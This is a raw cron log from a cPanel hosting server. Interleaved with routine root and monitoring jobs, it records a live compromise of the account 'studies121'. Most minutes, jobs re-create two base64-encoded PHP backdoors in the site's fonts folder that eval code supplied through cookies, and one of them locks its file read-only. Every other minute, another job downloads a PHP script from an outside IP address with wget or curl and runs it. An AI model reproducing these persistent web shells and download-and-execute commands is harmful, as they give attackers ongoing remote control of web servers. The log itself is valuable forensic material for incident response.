Aug 31 14:29:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:29:01 ip-184-168-122-23 CROND[14536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:30:01 ip-184-168-122-23 CROND[14663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:30:01 ip-184-168-122-23 CROND[14668]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:30:01 ip-184-168-122-23 CROND[14678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:31:01 ip-184-168-122-23 CROND[14797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:31:01 ip-184-168-122-23 CROND[14800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:31:02 ip-184-168-122-23 CROND[14801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:31:02 ip-184-168-122-23 CROND[14799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:31:02 ip-184-168-122-23 CROND[14802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:32:01 ip-184-168-122-23 CROND[14992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:32:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:32:01 ip-184-168-122-23 CROND[14998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:32:01 ip-184-168-122-23 CROND[14996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:32:01 ip-184-168-122-23 CROND[14999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:33:01 ip-184-168-122-23 CROND[15090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:33:01 ip-184-168-122-23 CROND[15093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:33:01 ip-184-168-122-23 CROND[15094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:33:01 ip-184-168-122-23 CROND[15092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:34:01 ip-184-168-122-23 CROND[15184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:34:01 ip-184-168-122-23 CROND[15186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:34:01 ip-184-168-122-23 CROND[15187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:34:01 ip-184-168-122-23 CROND[15189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:34:01 ip-184-168-122-23 CROND[15188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15288]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 14:35:01 ip-184-168-122-23 CROND[15290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:35:01 ip-184-168-122-23 CROND[15291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:36:01 ip-184-168-122-23 CROND[15397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:36:01 ip-184-168-122-23 CROND[15398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:36:01 ip-184-168-122-23 CROND[15399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:36:01 ip-184-168-122-23 CROND[15401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:36:01 ip-184-168-122-23 CROND[15400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:37:01 ip-184-168-122-23 CROND[15512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:37:01 ip-184-168-122-23 CROND[15515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:37:01 ip-184-168-122-23 CROND[15514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:37:01 ip-184-168-122-23 CROND[15516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:38:01 ip-184-168-122-23 CROND[15691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:38:01 ip-184-168-122-23 CROND[15695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:38:01 ip-184-168-122-23 CROND[15694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:38:01 ip-184-168-122-23 CROND[15693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:38:01 ip-184-168-122-23 CROND[15696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:39:01 ip-184-168-122-23 CROND[15805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:39:01 ip-184-168-122-23 CROND[15807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:39:01 ip-184-168-122-23 CROND[15810]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 14:39:01 ip-184-168-122-23 CROND[15809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:39:01 ip-184-168-122-23 CROND[15806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:40:01 ip-184-168-122-23 CROND[15907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:40:01 ip-184-168-122-23 CROND[15910]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:40:01 ip-184-168-122-23 CROND[15909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:40:01 ip-184-168-122-23 CROND[15911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:40:01 ip-184-168-122-23 CROND[15912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:40:01 ip-184-168-122-23 CROND[15913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:40:01 ip-184-168-122-23 CROND[15915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:40:01 ip-184-168-122-23 CROND[15916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:41:01 ip-184-168-122-23 CROND[16010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:41:01 ip-184-168-122-23 CROND[16011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
